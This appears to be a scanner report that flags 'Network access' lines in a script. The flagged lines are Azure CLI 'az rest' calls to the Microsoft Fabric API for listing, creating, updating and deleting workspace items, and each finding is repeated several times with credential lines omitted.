    | `https://analysis.windows.net/powerbi/api` | Power BI / XMLA |
  • Network accessline 238
    [Credential-related source omitted]
  • Network accessline 238
    [Credential-related source omitted]
  • Network accessline 238
    [Credential-related source omitted]
  • Network accessline 238
    [Credential-related source omitted]
  • Network accessline 238
    [Credential-related source omitted]
  • Network accessline 238
    [Credential-related source omitted]
  • Network accessline 238
    [Credential-related source omitted]
  • Network accessline 238
    [Credential-related source omitted]
  • Network accessline 239
    [Credential-related source omitted]
  • Network accessline 239
    [Credential-related source omitted]
  • Network accessline 239
    [Credential-related source omitted]
  • Network accessline 239
    [Credential-related source omitted]
  • Network accessline 239
    [Credential-related source omitted]
  • Network accessline 239
    [Credential-related source omitted]
  • Network accessline 239
    [Credential-related source omitted]
  • Network accessline 239
    [Credential-related source omitted]
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 240
    [Credential-related source omitted]
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 248
    [Credential-related source omitted]
  • Network accessline 286
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 286
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 286
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 286
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 286
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 286
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 286
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 286
    az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 287
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 287
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 287
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 287
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 287
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 287
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 287
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 287
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 288
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 288
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 288
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 288
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 288
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 288
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 288
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 288
    --url "https://api.fabric.microsoft.com/v1/workspaces" \
  • Network accessline 295
    # Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 295
    # Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 295
    # Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 295
    # Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 295
    # Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 295
    # Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 295
    # Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 295
    # Lakehouses — returns sqlEndpointProperties, oneLakeTablesPath, etc. az rest --method get \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 296
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 296
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 296
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 296
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 296
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 296
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 296
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 296
    az rest --method get    --resource "https://api.fabric.microsoft.com"
  • Network accessline 297
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 297
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 297
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 297
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 297
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 297
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 297
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 297
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 298
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses"
  • Network accessline 298
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses"
  • Network accessline 298
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses"
  • Network accessline 298
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses"
  • Network accessline 298
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses"
  • Network accessline 298
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses"
  • Network accessline 298
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses"
  • Network accessline 298
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses"
  • Network accessline 315
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 315
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 315
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 315
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 315
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 315
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 315
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 315
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 316
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 316
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 316
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 316
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 316
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 316
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 316
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 316
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 317
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 317
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 317
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 317
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 317
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 317
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 317
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 317
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 318
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 318
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 318
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 318
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 318
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 318
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 318
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 318
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 341
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 341
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 341
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 341
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 341
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 341
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 341
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 341
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 342
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 342
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 342
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 342
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 342
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 342
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 342
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 342
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 343
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 343
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 343
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 343
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 343
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 343
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 343
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 343
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 344
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 344
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 344
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 344
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 344
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 344
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 344
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 344
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 352
    # getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 352
    # getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 352
    # getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 352
    # getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 352
    # getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 352
    # getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 352
    # getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 352
    # getDefinition is a POST (not GET); empty body required or 411 error RESPONSE=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 353
    RESPONSE=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 353
    RESPONSE=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 353
    RESPONSE=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 353
    RESPONSE=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 353
    RESPONSE=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 353
    RESPONSE=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 353
    RESPONSE=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 353
    RESPONSE=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 354
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 354
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 354
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 354
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 354
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 354
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 354
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 354
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 355
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \
  • Network accessline 355
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \
  • Network accessline 355
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \
  • Network accessline 355
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \
  • Network accessline 355
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \
  • Network accessline 355
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \
  • Network accessline 355
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \
  • Network accessline 355
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/getDefinition?format=ipynb" \
  • Network accessline 375
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 375
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 375
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 375
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 375
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 375
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 375
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 375
    EOF az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 376
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 376
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 376
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 376
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 376
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 376
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 376
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 376
    az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 377
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 377
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 377
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 377
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 377
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 377
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 377
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 377
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 378
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \
  • Network accessline 378
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \
  • Network accessline 378
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \
  • Network accessline 378
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \
  • Network accessline 378
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \
  • Network accessline 378
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \
  • Network accessline 378
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \
  • Network accessline 378
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/updateDefinition" \
  • Network accessline 386
    EOF az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 386
    EOF az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 386
    EOF az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 386
    EOF az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 386
    EOF az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 386
    EOF az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 386
    EOF az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 386
    EOF az rest --method patch \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 387
    az rest --method patch    --resource "https://api.fabric.microsoft.com"
  • Network accessline 387
    az rest --method patch    --resource "https://api.fabric.microsoft.com"
  • Network accessline 387
    az rest --method patch    --resource "https://api.fabric.microsoft.com"
  • Network accessline 387
    az rest --method patch    --resource "https://api.fabric.microsoft.com"
  • Network accessline 387
    az rest --method patch    --resource "https://api.fabric.microsoft.com"
  • Network accessline 387
    az rest --method patch    --resource "https://api.fabric.microsoft.com"
  • Network accessline 387
    az rest --method patch    --resource "https://api.fabric.microsoft.com"
  • Network accessline 387
    az rest --method patch    --resource "https://api.fabric.microsoft.com"
  • Network accessline 388
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 388
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 388
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 388
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 388
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 388
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 388
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 388
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 389
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \
  • Network accessline 389
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \
  • Network accessline 389
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \
  • Network accessline 389
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \
  • Network accessline 389
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \
  • Network accessline 389
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \
  • Network accessline 389
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \
  • Network accessline 389
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID" \
  • Network accessline 395
    az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 395
    az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 395
    az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 395
    az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 395
    az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 395
    az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 395
    az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 395
    az rest --method delete \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 396
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 396
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 396
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 396
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 396
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 396
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 396
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 396
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 397
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID"
  • Network accessline 397
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID"
  • Network accessline 397
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID"
  • Network accessline 397
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID"
  • Network accessline 397
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID"
  • Network accessline 397
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID"
  • Network accessline 397
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID"
  • Network accessline 397
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID"
  • Network accessline 404
    EOF ITEM_ID=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 404
    EOF ITEM_ID=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 404
    EOF ITEM_ID=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 404
    EOF ITEM_ID=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 404
    EOF ITEM_ID=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 404
    EOF ITEM_ID=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 404
    EOF ITEM_ID=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 404
    EOF ITEM_ID=$(az rest --method post \   --resource "https://api.fabric.microsoft.com" \
  • Network accessline 405
    ITEM_ID=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 405
    ITEM_ID=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 405
    ITEM_ID=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 405
    ITEM_ID=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 405
    ITEM_ID=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 405
    ITEM_ID=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 405
    ITEM_ID=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 405
    ITEM_ID=$(az rest --method post    --resource "https://api.fabric.microsoft.com"
  • Network accessline 406
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 406
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 406
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 406
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 406
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 406
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 406
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 406
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 407
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 407
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 407
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 407
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 407
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 407
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 407
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 407
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items" \
  • Network accessline 421
    fetch_all_pages() {   local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 421
    fetch_all_pages() {   local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 421
    fetch_all_pages() {   local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 421
    fetch_all_pages() {   local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 421
    fetch_all_pages() {   local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 421
    fetch_all_pages() {   local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 421
    fetch_all_pages() {   local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 421
    fetch_all_pages() {   local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 422
    local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"   local ALL_ITEMS="[]"
  • Network accessline 422
    local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"   local ALL_ITEMS="[]"
  • Network accessline 422
    local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"   local ALL_ITEMS="[]"
  • Network accessline 422
    local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"   local ALL_ITEMS="[]"
  • Network accessline 422
    local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"   local ALL_ITEMS="[]"
  • Network accessline 422
    local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"   local ALL_ITEMS="[]"
  • Network accessline 422
    local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"   local ALL_ITEMS="[]"
  • Network accessline 422
    local URL="$1"   local RESOURCE="https://api.fabric.microsoft.com"   local ALL_ITEMS="[]"
  • Network accessline 423
    local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 423
    local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 423
    local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 423
    local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 423
    local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 423
    local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 423
    local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 423
    local RESOURCE="https://api.fabric.microsoft.com"
  • Network accessline 442
    # Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 442
    # Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 442
    # Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 442
    # Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 442
    # Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 442
    # Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 442
    # Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 442
    # Usage: ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 443
    ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 443
    ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 443
    ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 443
    ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 443
    ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 443
    ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 443
    ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
  • Network accessline 443
    ALL_WORKSPACES=$(fetch_all_pages "https://api.fabric.microsoft.com/v1/workspaces")
